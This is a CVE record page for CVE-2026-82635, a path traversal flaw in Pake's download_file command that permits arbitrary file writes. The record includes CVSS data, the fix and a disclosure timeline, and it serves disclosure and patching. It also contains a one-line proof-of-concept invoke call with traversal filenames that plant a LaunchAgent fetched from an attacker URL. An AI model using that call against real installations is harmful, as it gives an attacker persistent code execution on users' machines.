CVE-2026-82635 (GCVE-0-2026-82635)
Vulnerability from cvelistv5
Published
2026-08-30 12:26
Modified
2026-08-31 16:58
CWE
  • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Summary
Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user's Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.
Impacted products
Vendor Product Version
tw93 Pake Version: 0   ≤
Create a notification for this product.
Show details on NVD website


{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-82635",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-31T16:58:34.725075Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-31T16:58:51.598Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://github.com/tw93/Pake",
          "defaultStatus": "unaffected",
          "modules": [
            "download_file"
          ],
          "product": "Pake",
          "programFiles": [
            "src-tauri/src/app/invoke.rs",
            "src-tauri/src/util.rs"
          ],
          "repo": "git://github.com/tw93/Pake",
          "vendor": "tw93",
          "versions": [
            {
              "lessThan": "3.13.1",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "configurations": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eAffects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename.\u003c/p\u003e"
            }
          ],
          "value": "Affects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename."
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Yuval Moravchick"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "JFrog Security Research"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003ePake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user\u0027s Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.\u003c/p\u003e"
            }
          ],
          "value": "Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user\u0027s Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eA proof of concept invokes window.__TAURI__.core.invoke(\u0027download_file\u0027, { params: { url: \u0027\u0026lt;attacker-controlled HTTP URL\u0026gt;\u0027, filename: \u0027../pake_write_proof.sh\u0027 } }) and a second invoke with filename \u0027../Library/LaunchAgents/com.pake.poc.plist\u0027. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session.\u003c/p\u003e"
            }
          ],
          "value": "A proof of concept invokes window.__TAURI__.core.invoke(\u0027download_file\u0027, { params: { url: \u0027\u003cattacker-controlled HTTP URL\u003e\u0027, filename: \u0027../pake_write_proof.sh\u0027 } }) and a second invoke with filename \u0027../Library/LaunchAgents/com.pake.poc.plist\u0027. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-126",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-126 Path Traversal"
            }
          ]
        },
        {
          "capecId": "CAPEC-165",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-165 File Manipulation"
            }
          ]
        },
        {
          "capecId": "CAPEC-17",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-17 Using Malicious Files"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-30T12:26:16.770Z",
        "orgId": "48a46f29-ae42-4e1d-90dd-c1676c1e5e6d",
        "shortName": "JFROG"
      },
      "references": [
        {
          "name": "Fix: sanitize download filenames (basename only)",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/tw93/Pake/commit/a5463a84d6e36705ee0dd1886cf0e4b5a75b0ab4"
        },
        {
          "name": "Pake V3.13.1 release (first tag containing the fix)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/tw93/Pake/releases/tag/V3.13.1"
        },
        {
          "name": "Pake repository",
          "tags": [
            "product"
          ],
          "url": "https://github.com/tw93/Pake"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eUpgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory.\u003c/p\u003e"
            }
          ],
          "value": "Upgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory."
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "timeline": [
        {
          "lang": "en",
          "time": "2026-06-24T00:00:00.000Z",
          "value": "Vulnerability reported to maintainers"
        },
        {
          "lang": "en",
          "time": "2026-07-03T12:51:00.000Z",
          "value": "Fix committed upstream (sanitize download filenames)"
        },
        {
          "lang": "en",
          "time": "2026-07-04T15:30:00.000Z",
          "value": "Fix first shipped in Pake V3.13.1"
        }
      ],
      "title": "Pake arbitrary file write via unsanitized download_file filename",
      "x_generator": {
        "engine": "Vulnogram 1.0.5"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "48a46f29-ae42-4e1d-90dd-c1676c1e5e6d",
    "assignerShortName": "JFROG",
    "cveId": "CVE-2026-82635",
    "datePublished": "2026-08-30T12:26:16.770Z",
    "dateReserved": "2026-08-30T12:09:20.896Z",
    "dateUpdated": "2026-08-31T16:58:51.598Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-82635\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-08-31T16:58:34.725075Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-08-31T16:58:47.472Z\"}}], \"cna\": {\"title\": \"Pake arbitrary file write via unsanitized download_file filename\", \"source\": {\"discovery\": \"EXTERNAL\"}, \"credits\": [{\"lang\": \"en\", \"type\": \"finder\", \"value\": \"Yuval Moravchick\"}, {\"lang\": \"en\", \"type\": \"coordinator\", \"value\": \"JFrog Security Research\"}], \"impacts\": [{\"capecId\": \"CAPEC-126\", \"descriptions\": [{\"lang\": \"en\", \"value\": \"CAPEC-126 Path Traversal\"}]}, {\"capecId\": \"CAPEC-165\", \"descriptions\": [{\"lang\": \"en\", \"value\": \"CAPEC-165 File Manipulation\"}]}, {\"capecId\": \"CAPEC-17\", \"descriptions\": [{\"lang\": \"en\", \"value\": \"CAPEC-17 Using Malicious Files\"}]}], \"metrics\": [{\"format\": \"CVSS\", \"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 8.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}, \"scenarios\": [{\"lang\": \"en\", \"value\": \"GENERAL\"}]}], \"affected\": [{\"repo\": \"git://github.com/tw93/Pake\", \"vendor\": \"tw93\", \"modules\": [\"download_file\"], \"product\": \"Pake\", \"versions\": [{\"status\": \"affected\", \"version\": \"0\", \"lessThan\": \"3.13.1\", \"versionType\": \"semver\"}], \"programFiles\": [\"src-tauri/src/app/invoke.rs\", \"src-tauri/src/util.rs\"], \"collectionURL\": \"https://github.com/tw93/Pake\", \"defaultStatus\": \"unaffected\"}], \"exploits\": [{\"lang\": \"en\", \"value\": \"A proof of concept invokes window.__TAURI__.core.invoke(\u0027download_file\u0027, { params: { url: \u0027\u003cattacker-controlled HTTP URL\u003e\u0027, filename: \u0027../pake_write_proof.sh\u0027 } }) and a second invoke with filename \u0027../Library/LaunchAgents/com.pake.poc.plist\u0027. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session.\", \"supportingMedia\": [{\"type\": \"text/html\", \"value\": \"\u003cp\u003eA proof of concept invokes window.__TAURI__.core.invoke(\u0027download_file\u0027, { params: { url: \u0027\u0026lt;attacker-controlled HTTP URL\u0026gt;\u0027, filename: \u0027../pake_write_proof.sh\u0027 } }) and a second invoke with filename \u0027../Library/LaunchAgents/com.pake.poc.plist\u0027. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session.\u003c/p\u003e\", \"base64\": false}]}], \"timeline\": [{\"lang\": \"en\", \"time\": \"2026-06-24T00:00:00.000Z\", \"value\": \"Vulnerability reported to maintainers\"}, {\"lang\": \"en\", \"time\": \"2026-07-03T12:51:00.000Z\", \"value\": \"Fix committed upstream (sanitize download filenames)\"}, {\"lang\": \"en\", \"time\": \"2026-07-04T15:30:00.000Z\", \"value\": \"Fix first shipped in Pake V3.13.1\"}], \"solutions\": [{\"lang\": \"en\", \"value\": \"Upgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory.\", \"supportingMedia\": [{\"type\": \"text/html\", \"value\": \"\u003cp\u003eUpgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory.\u003c/p\u003e\", \"base64\": false}]}], \"references\": [{\"url\": \"https://github.com/tw93/Pake/commit/a5463a84d6e36705ee0dd1886cf0e4b5a75b0ab4\", \"name\": \"Fix: sanitize download filenames (basename only)\", \"tags\": [\"patch\"]}, {\"url\": \"https://github.com/tw93/Pake/releases/tag/V3.13.1\", \"name\": \"Pake V3.13.1 release (first tag containing the fix)\", \"tags\": [\"vendor-advisory\"]}, {\"url\": \"https://github.com/tw93/Pake\", \"name\": \"Pake repository\", \"tags\": [\"product\"]}], \"x_generator\": {\"engine\": \"Vulnogram 1.0.5\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user\u0027s Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.\", \"supportingMedia\": [{\"type\": \"text/html\", \"value\": \"\u003cp\u003ePake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user\u0027s Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.\u003c/p\u003e\", \"base64\": false}]}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}], \"configurations\": [{\"lang\": \"en\", \"value\": \"Affects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename.\", \"supportingMedia\": [{\"type\": \"text/html\", \"value\": \"\u003cp\u003eAffects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename.\u003c/p\u003e\", \"base64\": false}]}], \"providerMetadata\": {\"orgId\": \"48a46f29-ae42-4e1d-90dd-c1676c1e5e6d\", \"shortName\": \"JFROG\", \"dateUpdated\": \"2026-08-30T12:26:16.770Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-82635\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-31T16:58:51.598Z\", \"dateReserved\": \"2026-08-30T12:09:20.896Z\", \"assignerOrgId\": \"48a46f29-ae42-4e1d-90dd-c1676c1e5e6d\", \"datePublished\": \"2026-08-30T12:26:16.770Z\", \"assignerShortName\": \"JFROG\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…